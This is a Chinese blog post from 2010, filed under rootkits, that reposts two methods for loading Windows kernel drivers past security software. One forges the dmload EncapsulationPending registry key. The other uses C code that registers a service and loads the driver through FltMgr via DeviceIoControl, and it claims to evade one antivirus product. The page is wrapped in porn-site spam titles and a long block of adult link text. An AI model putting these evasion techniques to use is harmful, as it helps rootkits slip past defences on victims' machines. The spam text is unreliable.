青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運轉,開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

Load Driver

Posted on 2010-07-10 17:19 S.l.e!ep.¢% 閱讀(1077) 評論(0)  編輯 收藏 引用 所屬分類: RootKit

繞過主防加載驅動的新思路!!!

通過dmload.sys可以實現一種新型的驅動加載方式。
? 在dmload的二次驅動重初始化時會調用dmload!DmLoadIsEncapPending來判斷\Registry\Machine\System\CurrentControlSet\Services\dmload\EncapsulationPending子鍵是否存在,如果不存在則調用dmload!DmLoadIsDmioNeeded判斷系統是否需要加載dmboot驅動(向disk驅動發送IOCTL_DISK_GET_DRIVE_LAYOUT_EX查詢)。而如果存在EncapsulationPending鍵則直接跳過檢測步驟,直接調用ZwLoadDriver加載dmboot驅動。
? ? 因此,我們只要事先偽造一個EncapsulationPending子鍵,并用我們欲加載的驅動替換掉dmboot.sys(不替換亦可),重啟后便可成功加載驅動。


http://b.qzone.qq.com/cgi-bin/blognew/simpleqzone_blog_data?hostuin=95007909&r=0&idm=qzs.qq.com&bdm=b.qzone.qq.com&mdm=m.qzone.qq.com&blogid=1270802371&numperpage=15

一種另類驅動加載辦法

2010年04月09日 評論(0)|瀏覽(75) 點擊查看原文

一種另類驅動加載辦法

華中科技大學

在這個病毒=Rootkit的時代,驅動的加載無疑是重中之重,自然的,各種ARK以及Hips對驅動也是嚴加防范,比如ZwLoadDriver,ZwSetsystemInformation等等,這些API大多都被SSDT HOOK了,使用這些API會被攔截掉,從而使得驅動無法加載,不過,也有一些繞過的辦法。

微軟為windows專門設計了一套微過濾驅動(mini filters),這套驅動是專用于管理文件過濾驅動的加載和運行,很多的虛擬磁盤驅動,還有還原軟件常用的磁盤過濾驅動,都是使用微過濾驅動進行加載的,而且一般殺毒軟件對這塊管的并沒有那么嚴,所以可以從這里下手去加載。

不同于其他的驅動,Minifilter由一個獨立的manager管理而不僅僅是SCM(服務管理器),他的全稱叫Microsoft File System Filter Manager(想了解更多關于微處理管理器和微過濾驅動的內容,可以到微軟官網查詢,http://www.microsoft.com/whdc/driver/filterdrv/default.mspx)。

加載驅動的主要代碼比較簡單

int main( int argc , char *argv[] )

{

HANDLE hDevice;

LOAD service_to_load;

BOOL err;

DWORD dwRet=0;

WCHAR drvPath[512];

memset( drvPath , 0 , 512 );

GetCurrentDirectoryW( MAX_PATH , drvPath );//將驅動放在當前目錄下進行加載

lstrcatW( drvPath , L"\\load.sys" );//驅動名稱必須為load.sys

make_reg( L"load" , drvPath );

hDevice = CreateFile ("\\\\.\\FltMgr" , GENERIC_READ | GENERIC_WRITE , FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL , NULL );//啟用Fltmgr進行驅動的加載

if( hDevice == INVALID_HANDLE_VALUE )

{

printf("CreateFile failed with status : %d\n" , GetLastError() );//這個是錯誤處理

goto __end;

}

wcscpy( service_to_load.ServiceName , L"load");

service_to_load.Len = wcslen( service_to_load.ServiceName )*sizeof(WCHAR);

err = DeviceIoControl( hDevice , MAGIC_IOCTL , &service_to_load , sizeof(service_to_load) , NULL , 0 , &dwRet , NULL );//傳送控制碼

if( !err )

{

printf("sorry\n");

goto __end;

}

printf(":)\n");

__end:

CloseHandle( hDevice );

return 0;

}

這段代碼和SCM加載驅動的代碼基本一致,只不過換成了Fltmgr進行加載。

驅動還需要在注冊表中進行服務的注冊,不過這個注冊和SCM加載的方式一摸一樣,也不必多說了。

VOID WINAPI make_reg( LPWSTR szDriverName, LPWSTR szDriverPath )

{

DWORD dwType = SERVICE_KERNEL_DRIVER; //定義注冊類型為內核驅動

DWORD dwStart = SERVICE_DEMAND_START; //手動啟動服務

HKEY hKey;

WCHAR szMain[512] = {0};

WCHAR szImgPath[512] = {0};

wchar_t szRegPath[512]={0};

wsprintfW( szMain,

L"%s%s",

L"SYSTEM\\CurrentControlSet\\Services\\",

szDriverName );//在service鍵值下注冊

wsprintfW( szImgPath,

L"%s%s",

L"\\??\\",

szDriverPath);

if( RegCreateKeyW( HKEY_LOCAL_MACHINE, szMain, &hKey ) == ERROR_SUCCESS )

{

RegSetValueExW( hKey,

L"DisplayName",

0,

REG_SZ,

(LPBYTE)szDriverName,

(DWORD)lstrlenW(szDriverName)*2);

RegSetValueExW( hKey,

L"ImagePath",

0,

REG_EXPAND_SZ,

(LPBYTE)szImgPath,

(DWORD)lstrlenW(szImgPath)*2);

RegSetValueExW( hKey,

L"Type",

0,

REG_DWORD,

(LPBYTE)&dwType,

(DWORD)sizeof(dwType) );

RegSetValueExW( hKey,

L"Start",

0,

REG_DWORD,

(LPBYTE)&dwStart,

(DWORD)sizeof(dwStart) );

}

}

這種方法經過測試,可以過瑞星2010最新版,360過不了,其他的待測,網吧的驅動防火墻不知能不能過,也許可以嘗試下……

如果對驅動的加載方式以及原理不是特別了解,可以去參考Programming The Windows Driver Model。

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            久久久午夜电影| 激情文学综合丁香| 亚洲香蕉在线观看| 久久免费黄色| 欧美性开放视频| 亚洲国产成人av在线| 亚洲一区二区三区精品视频| 欧美一二三区在线观看| 亚洲日本欧美天堂| 亚洲福利视频免费观看| 欧美黄色网络| 亚洲无限av看| 免费一级欧美片在线播放| 欧美日韩视频| 在线精品观看| 欧美在线一二三区| 91久久在线| 午夜日韩电影| 欧美性天天影院| 艳女tv在线观看国产一区| 久久激情久久| 亚洲综合另类| 欧美日韩高清在线播放| 在线欧美日韩国产| 久久精品中文字幕免费mv| 亚洲视频欧美在线| 欧美精品一区二区三| 亚洲第一精品影视| 免费在线视频一区| 久久久亚洲国产美女国产盗摄| 国产精品入口日韩视频大尺度| 亚洲伦理在线免费看| 欧美激情免费观看| 欧美黄色片免费观看| 亚洲欧洲精品一区二区| 欧美电影电视剧在线观看| 欧美ab在线视频| 亚洲人成网站精品片在线观看| 欧美国产第二页| 久久国产精品99精品国产| 亚洲欧美另类中文字幕| 国产欧美精品xxxx另类| 久久精品国产久精国产思思| 久久久久www| 亚洲欧洲日产国产网站| 日韩一级不卡| 黄色精品一区二区| 欧美~级网站不卡| 国产精品黄色在线观看| 久久久久久国产精品mv| 欧美久久成人| 久久午夜电影| 国产欧美精品一区aⅴ影院| 欧美黄色小视频| 国产一级一区二区| 日韩视频不卡| 亚洲欧洲三级| 欧美制服丝袜| 欧美影院视频| 欧美午夜欧美| 一区二区三区不卡视频在线观看| 亚洲第一二三四五区| 午夜天堂精品久久久久 | 日韩午夜电影| 狠狠爱综合网| 久久国产欧美| 久久久天天操| 国内成人在线| 久久亚洲图片| 欧美 亚欧 日韩视频在线| 国产中文一区| 狂野欧美激情性xxxx| 亚洲高清不卡在线观看| 揄拍成人国产精品视频| 久久成人久久爱| 国产亚洲激情| 麻豆成人在线观看| 亚洲区一区二| 亚洲男人的天堂在线观看| 国产精品亚洲综合| 久久激情五月丁香伊人| 欧美国产一区在线| 亚洲欧美网站| 91久久午夜| 国产人久久人人人人爽| 久久在线观看视频| 亚洲一区二区视频在线| 欧美国产日韩视频| 久久精品一区二区三区四区| 亚洲高清视频一区| 国产精品一区二区三区乱码| 久久综合九色九九| 欧美与黑人午夜性猛交久久久| 亚洲欧洲日夜超级视频| 久久久久久久精| 亚洲女ⅴideoshd黑人| 亚洲国产色一区| 好吊色欧美一区二区三区四区| 欧美日韩三级视频| 欧美激情精品久久久久久蜜臀 | 久久精品国产久精国产爱| 亚洲免费精品| 99国产精品一区| 日韩视频一区二区三区在线播放| 国产亚洲制服色| 国产一区二区精品久久99| 国产精品久在线观看| 欧美性大战xxxxx久久久| 欧美日韩国产免费观看| 久久精品国产一区二区三| 亚洲视频一二区| 一区二区国产日产| 99国内精品| 亚洲视频免费| 性欧美长视频| 久久精品72免费观看| 欧美成人午夜剧场免费观看| 亚洲国产精品久久久久婷婷884 | 中文一区在线| 午夜精品网站| 六月婷婷一区| 欧美日韩一区二| 国产日韩亚洲| 日韩一级黄色大片| 欧美亚洲在线| 亚洲国产精品一区二区尤物区 | 噜噜噜久久亚洲精品国产品小说| 久久男人av资源网站| 欧美日韩一区二区三区免费| 国产精品外国| 一区二区三区四区国产精品| 久久精品一区二区三区不卡牛牛| 亚洲国产婷婷| 久久久中精品2020中文| 国产精品久久网| 日韩午夜免费视频| 老司机精品视频网站| 亚洲中无吗在线| 欧美三区美女| 99精品视频一区| 欧美成人在线免费观看| 国产精品99久久久久久久vr| 欧美刺激性大交免费视频| 国产一区二区三区在线免费观看 | 亚洲日本在线观看| 久久成人av少妇免费| 国产亚洲一区二区三区在线观看| 亚洲午夜成aⅴ人片| 亚洲另类自拍| 国产精品高潮呻吟久久| 亚洲天堂偷拍| 亚洲一区二区av电影| 国产精品中文字幕在线观看| 亚洲免费视频观看| 亚洲一区二区三区精品在线观看| 欧美日韩免费观看一区二区三区 | 亚洲一区二区三区乱码aⅴ| 亚洲电影免费观看高清| 欧美日韩国产三区| 另类成人小视频在线| 免费人成网站在线观看欧美高清| 久久中文字幕一区二区三区| 久久精品女人的天堂av| 欧美国产日产韩国视频| 欧美在线观看天堂一区二区三区| 久久久久久久一区二区| 午夜电影亚洲| 欧美成人精品不卡视频在线观看| 亚洲女性裸体视频| 欧美77777| 亚洲欧洲精品一区二区三区| 亚洲免费网址| 欧美伊人久久久久久午夜久久久久| 欧美顶级少妇做爰| 亚洲激情视频网| 一区二区三区黄色| 欧美日韩日本国产亚洲在线| 亚洲激情第一区| 亚洲欧美韩国| 黄色亚洲在线| 久久久一二三| 亚洲一区免费网站| 久久久久久久久久久久久女国产乱| 国产精品一卡二卡| 久久在线免费观看视频| 欧美成人一品| 亚洲第一精品电影| 免费在线成人| 亚洲三级电影全部在线观看高清| 精品福利电影| 欧美成人亚洲成人| 日韩视频在线一区二区三区| 亚洲中字黄色| 国内免费精品永久在线视频| 久久久久看片| av成人老司机| 久久尤物电影视频在线观看| 亚洲欧洲综合另类| 国产精品福利在线观看网址| 性色av一区二区三区在线观看|